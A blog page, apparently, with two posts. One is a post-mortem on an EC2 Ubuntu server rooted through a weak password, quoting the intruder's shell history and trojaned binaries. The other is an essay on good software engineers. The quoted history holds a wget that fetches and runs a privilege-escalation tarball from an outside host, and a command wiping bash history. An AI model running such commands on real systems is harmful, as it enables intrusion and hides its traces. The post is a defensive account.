CAT | Uncategorized
As you might know, there was a little bit of downtime… from December 28 to January 6th. First of all, sorry about that… I was doing a bunch of holiday stuff. At any rate, when I noticed the EC2 instance was unresponsive, I figured it was the fault of EC2. So, I just rebooted the instance and went on my merry way.
Flash forward to today. I got on my box to do some maintenance, and saw the following warning:
~/tmp$ ls > ls: unrecognized prefix: do > ls: unparsable value for LS_COLORS environment variable.
“Well that’s weird”, I thought to myself. I googled around the internet, and came to the conclusion I’d been rooted. Turns out, I was right.
Mistake #1
Now comes the fun part of all of these. I had to track down just *how* it happened. First thing that I did was went to /var/log/auth.log. I see brute force attacks all the time, and it totally fills up the logs, so I went to when made the most sense — around the time the site when down. That’s when I noticed this entry:
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: Accepted password for deploy from 92.82.99.209 port 2608 ssh2
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: pam_unix(sshd:session): session opened for user deploy by (uid=0)
*slap*
I had forgotten I created a mostly temporary user named “deploy” with a weak password (umm… “deploy”). I thought it would be ok since that user had very little permissions — files I didn’t care about, no sudo access, etc. Boy, was I wrong. Which brings me to…
Mistake #2
Everyone always says keep your system up to date. I also think it’s a good practice. But do I? Of course not. I was using an outdated (non-updated) version of Ubuntu 8.10. Put yourself in the hax0rs shoes: if you were breaking into a box, had user access, the os was out of date, and you wanted root, how would you do it? A rootkit, of course! And that’s exactly what happened…
w
uname -a
id
sudo su
ls -a
cat .bash_history
cat /proc/cpuinfo
cat /etc/issue
cat /etc/hosts
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
ls -a
rm -rf .bash_history
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
sudo su -
A little sidenote… if he removed the bash_history, how did I get this command history? Look closely… whatever script it was, it “cd”ed into the linux-sendpage3 directory before it rm’ed the bash_history. Sucka 
. Anyways, there’s the rootkit, and him logging in as root with “sudo su -”.
He was root. OMG!
The next part seems kind of fuzzy to me as to what he did. I didn’t have any logs (root’s bash_history was clean), and there were no logs anywhere else on the system. What I did have was one thing: ls was acting funky. Surely he replaced it, so at least it would be a start. Upon further inspection, it was owned by the user 122, and group messagebus. Well, at least that’s a start!
root@ip-10-251-69-178:~/bin# find / -user 122
/usr/bin/pstree
/usr/bin/top
/usr/bin/md5sum
/usr/bin/find
/bin/ps
/bin/ls
/bin/netstat
/sbin/ttyload
/sbin/ttymon
/sbin/ifconfig
It looks like he changed a bunch of important files here, he certainly didn’t want me snooping into what he was doing. Those modifications hid all the files and processes he was using, of course. So my next step was to restore those files so I could dig deeper into what was going on. With EC2, that’s a piece of cake — I fired up another Ubuntu 8.10 ami, and copied over the binaries. Here’s where I got bottlenecked… I was getting some silly “Permission denied” error, even though I was root! lsattr to the rescue.
root@ip-10-251-69-178:~/bin# lsattr /bin/ls
s---ia------------- /bin/ls
Super-secret permissions! no!
root@ip-10-251-69-178:~/bin# chattr -sia /bin/ls; mv /tmp/ls.fix /bin/ls
Whew, that was a close one.
Next, I ran the ‘find’ command to see if other files had shown up, and indeed they did. Two directories — “/usr/lib/libsh” and “/lib/libsh.so” were owned by this guy. There were a few utility scripts in these directories to clean logs and such, and also some program named mirkforce — which looks like some irc bot. So, all of this for some stupid script kiddie? Augh, lame.
There were two other things that I got bored with and didn’t look into anymore — a crontab as root that executed “/dev/s/y2kupdate >/dev/null” every minute (thanks for keeping my computer updated), and some dbus process that hogged a bunch of resources.
At any rate, there were two things that came out of this:
- Don’t use easy passwords. Ever.
- Keep your systems up-to-date.
I’m sure this entire thing was automated, so I didn’t fear stolen information so much (not that there was any to give). He left all my data in place, so I just ditched the whole box, fired up another EC2 instance, and was running on a fresh install of Ubuntu 9.10 in about 10 minutes. Amazon Web Services win again!
I’ve been thinking lately about what makes a good software engineer, how to spot a good one, and how to help yourself become better. This is what I came up with…
Distributed systems, enterprise-class, J2EE, loosely coupled, SOA, multi-tier, Agile, iterative development
I hear those words a lot. Anyone could claim they have knowledge of them, but does that really matter? A good majority of resumes and tons of job postings list them, but that says absolutely nothing about the competence of the individual. Stop asking for these qualifications and stop putting them on your resume, they don’t mean anything. Don’t put a goal toward becoming competent in these technologies, you will only fail at being a software engineer.
What about experience?
Yes, experience is important. But what kind of experience? Years? Places work? Size of the company worked? Projects completed? I wish I could come up with the equation, but I’m afraid I can’t.
The important part is to actually have something to show for your work. Rather than saying “6+ years experience as a software developer in the e-commerce industry”, how about, “Designed and constructed a number of technologies powering the <company> shopping cart, order pipeline, customer self service, and product detail pages.” Does that say a specific technology used? No, but that doesn’t matter. What you’ve done is said that you have done stuff what people want done.
So how do I know when I’m innovative?
Chances are you’re not innovate. Sure, you’ve probably “architected a solution to meet business needs and delivered on time”, or “developed a framework to simplify development of Rich Internet Applications”, but what that really means is that you’ve “drawn an inheritance diagram, wrote the code and it works”, and “probably recreated a framework that already exists in the technology I’m using, and it’s still not as good”. Ouch, that hurts doesn’t it.
Have no fear, these are things that are expected as a developer grows. The hard part is breaking out of that and doing something that actually contributes value. Let me give you an example. Recently, Bespin, a web-based collaborative code editor has been in the news. This is a very simple example of how to be innovative. Although the project only appeals to a small amount of people, it suits a need that wasn’t there before.
It’s important to remember that projects like Bespin don’t appear out of this air. It takes time to design and implement a solution (and we’re not talking just a few minutes whiteboarding either). I’m not going to go into the details of how to create a solution like this, but if you don’t know and haven’t experienced it first-hand (you can’t tie your name to it), then you’re not innovative.
I’m not trying to hurt your feelings — I’m actually eating my own words as I type, but what I’m trying to say is that the characteristics of a great software developer focuses on what you’ve done, not how you’ve done it. Just find something that interests you, stick and it, and you’d be surprised how far it will take you.
